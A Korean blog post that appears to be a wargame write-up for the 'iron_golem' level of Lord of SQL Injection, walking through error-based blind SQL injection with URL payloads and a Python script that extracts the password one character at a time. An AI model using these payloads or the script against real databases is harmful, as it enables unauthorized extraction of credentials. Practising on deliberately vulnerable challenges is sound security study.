-
<Lord of SQL Injection> iron_golemWargame/Lord of SQL Injection 2021. 11. 23. 14:33
전달받은 pw에서 prob, _, ., (), sleep, benchmark를 필터링한다.
if(mysqli_error($db)) exit(mysqli_error($db));를 통해 에러 메시지를 출력한다.
에러 메시지를 출력하는 경우, 에러 메시지를 기반으로 하는 SQL Injection인 Error Based SQL Injection을 수행할 수 있다.
pw를 구해야 문제를 풀 수 있기 때문에, Error Based Blind SQL Injection을 수행해 한 글자씩 찾아야 한다.
select * from table where 1 and if(1=1,1,(select 1 union select 2))을 통해
if 절이 참이면 1을 반환하고, 거짓이면 select 1 union select 2 쿼리를 실행하여 복수의 값을 반환하면서 에러가 발생한다.
이를 이용하여 pw의 길이를 ?pw=' or if(length(pw)=32,1,(select 1 union select 2))%23로 찾아보면
pw의 길이가 32인 것을 확인할 수 있다.
전 문제에서 pw가 한글이었기 때문에
?pw=' or if(length(substr(pw,1,1))=1,1,(select 1 union select 2))%23로 첫 글자의 크기를 알아보면
첫 글자의 크기가 1이다. 따라서, ascii를 이용해 찾을 수 있다.
?pw=' or if(ascii(substr(pw,1,1))=47,1,(select 1 union select 2))%23를 입력하면
에러 메시지를 출력한다. 이 에러메시지를 출력하지 않는 글자를 pw에 추가하면 된다.
직접 한 글자씩 찾기 힘들기 때문에, 파이썬 코드를 이용해 찾으면
import requests baseurl = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "Subquery returns more than 1 row" pw = "" for i in range(1, 33): for j in range(33, 127): url = baseurl + "?pw=' or if(ascii(substr(pw,{},1))={},1,(select 1 union select 2))%23".format(i,j) res = requests.get(url=url, cookies=cookies) print(url) if want_str not in res.text: pw += chr(j) print("{} : {}".format(i, chr(j))) break print("pw : ", pw)
이제 ?pw=06b5a6c16e8830475f983cc3a825ee9a를 입력하면
문제를 풀 수 있다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> hell fire (0) 2021.11.25 <Lord of SQL Injection> dark eyes (0) 2021.11.24 <Lord of SQL Injection> dragon (0) 2021.11.22 <Lord of SQL Injection> xavis (0) 2021.11.20 <Lord of SQL Injection> nightmare (0) 2021.11.19